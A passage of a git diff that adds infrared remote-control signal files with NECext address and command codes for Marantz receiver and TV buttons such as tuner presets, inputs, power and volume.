4_TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: TUNER_-_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: (TUNER-1)_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: TUNER1-5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: [TUNER-1]_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: 5_TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: TUNER_-_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: (TUNER-1)_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: TUNER1-6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: [TUNER-1]_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: 6_TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: TUNER_-_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: (TUNER-1)_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: TUNER1-7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: [TUNER-1]_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: 7_TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: TUNER_-_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: (TUNER-1)_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: TUNER1-8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: [TUNER-1]_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: 8_TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: TUNER_-_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: (TUNER-1)_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: TUNER1-9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: [TUNER-1]_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: 9_TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: TUNER_-_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: (TUNER-1)FRQ._DIRECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: TUNER1_FREQ._DIRECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: DIRECT_TUNE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: [TUNER-1]_F-DIRECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: FREQ._DIRECT_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: F/P +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: FREQ._DIRECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: SOURCE_ON/OFF +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0C 00 00 00 +# +name: DISPLAY_MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: T.DISP_/_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: TUNER:_DISP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: (TUNER-1)_TUNING_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNE>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNER1_FREQ._TUNE_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: [TUNER-1]_FREQ+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNING_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNER_>>_TUNING_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: SCAN_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNER:_FREQUENCY_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNER_FREQUENCY_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: SEEK_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: TUNING_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: (TUNER-1)_TUNING_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: F0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: TUNE<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: TUNER1_FREQ._TUNE_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: [TUNER-1]_FREQ_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: TUNING_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: TUNER_<> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: TUNER1_PRESET_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: [TUNER-1]PRESET+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: TUNER_>>I_PRESET_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: TUNER_-_PRESET+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: FM/AM_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: TUNER:_PRESET_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: TUNER_PRESET_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: SKIP_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: (TUNER-1)_PRE_DOWN- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: PRESET_-- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: CHANNEL<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: TUNER1_PRESET_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: [TUNER-1]PRESET_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: TUNER_I<<_PRESET_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: TUNER_-_PRESET- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: TUNER:_PRESET_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: TUNER_PRESET_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: SKIP_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: (TUNER-1)_T-MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: TUNER1_T-MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: [TUNER-1]_T-MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: TUNER_MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: T.MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: TUNER:_FM_MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: TUNER:_T-MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: STEREO/MONO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: (TUNER-1)_MEMO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: TUNER1_MEMO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: [TUNER-1]_MEMO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: MEMORY_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: (TUNER-1)_PRE_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2B 00 00 00 +# +name: TUNER1_PRESET_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2B 00 00 00 +# +name: PRESET_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2B 00 00 00 +# +name: P.SCAN/V-OFF +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2B 00 00 00 +# +name: PRESET_SCAN_TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2B 00 00 00 +# +name: TUNER:_PRESET_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2B 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2B 00 00 00 +# +name: DWR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: TUNER:_DWR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: (TUNER-1)_FM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2D 00 00 00 +# +name: TUNER1_FM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2D 00 00 00 +# +name: [TUNER-1]_FM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2D 00 00 00 +# +name: INPUT:_FM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2D 00 00 00 +# +name: (TUNER-1)_AM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: TUNER1_AM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: [TUNER-1]_AM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: INPUT:_AM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: LW +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2F 00 00 00 +# +name: TUNER:_LW +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2F 00 00 00 +# +name: (TUNER-1)_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: TUNER1_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: [TUNER-1]_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: LINE_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: TUNER-1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: TUNER_-_1_(LINE_1) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: TUNER_-_AM/FM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: INPUT_-_TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: TUNER:_BAND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: PRESET_INFO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 52 00 00 00 +# +name: TUNER:_PRESET_INFO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 52 00 00 00 +# +name: PTY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 78 00 00 00 +# +name: TUNER:_PTY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 78 00 00 00 +# +name: TUNER:_STM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 79 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/176,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/176,-1.ir new file mode 100644 index 000000000..ac794ff29 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/176,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: AM +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 03 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 07 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 08 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 09 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: TUNING_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0B 00 00 00 +# +name: TUNING_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0C 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 40 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 41 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 51 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/18,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/18,-1.ir new file mode 100644 index 000000000..c81f5f1e0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/18,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: <>_T-MODE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2F 00 00 00 +# +name: RECORDER_2 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 3F 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 3F 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 3F 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 3F 00 00 00 +# +name: TAPE_(RECORDER_2) +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 3F 00 00 00 +# +name: INPUT_-_TAPE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 3F 00 00 00 +# +name: INPUT:_TAPE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/20,-1.ir new file mode 100644 index 000000000..0bd15bb3b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/20,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_DISC_+/A +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1E 00 00 00 +# +name: CD_DISC_B/- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1F 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 +# +name: CD_INPUT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 +# +name: INPUT_-_CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 +# +name: INPUT:_CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/21,-1.ir new file mode 100644 index 000000000..0b8404dd8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/21,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: PHONO +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/23,-1.ir new file mode 100644 index 000000000..d2fab1198 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/23,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: MD +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3F 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3F 00 00 00 +# +name: DCC +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3F 00 00 00 +# +name: INPUT_-_MD +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/26,-1.ir new file mode 100644 index 000000000..81977a198 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/26,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: CD-R +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3F 00 00 00 +# +name: RECORDER_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3F 00 00 00 +# +name: CDR +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3F 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3F 00 00 00 +# +name: CD-R_(RECORDER_1) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3F 00 00 00 +# +name: CDR/MD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3F 00 00 00 +# +name: CDR_INPUT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3F 00 00 00 +# +name: INPUT_-_CD-R +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3F 00 00 00 +# +name: INPUT:_CD-R +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/39,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/39,-1.ir new file mode 100644 index 000000000..684cb11d3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/39,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: SAT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/4,-1.ir new file mode 100644 index 000000000..253cef927 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/4,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PTY_/_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3F 00 00 00 +# +name: SUB-T/ATT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: SET_UP/T._TONE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/5,-1.ir new file mode 100644 index 000000000..80d64a8e0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/5,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: VCR1/TV_(VCR1/TAPE) +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3E 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 +# +name: VCR1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 +# +name: INPUT_-_VCR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 +# +name: INPUT:_VCR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/6,-1.ir new file mode 100644 index 000000000..369fff4aa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/6,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR2_REC +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 37 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 +# +name: DSS +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 +# +name: VCR_2_(DSS) +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 +# +name: DSS/VCR2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 +# +name: VCR2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 +# +name: VCR2/DSS +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 +# +name: DSS_INPUT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 +# +name: VCR_2/DSS +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 +# +name: INPUT_-_DSS +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 +# +name: INPUT:_DSS +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 +# +name: INPUT:_DSS/MD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/7,-1.ir new file mode 100644 index 000000000..2b427e933 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/7,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/8,-1.ir new file mode 100644 index 000000000..ce544a2dc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/8,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: DSS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/0,-1.ir new file mode 100644 index 000000000..1594403c0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/0,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: ENTER/OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/144,0.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/144,0.ir new file mode 100644 index 000000000..8336643c7 --- /dev/null +++ 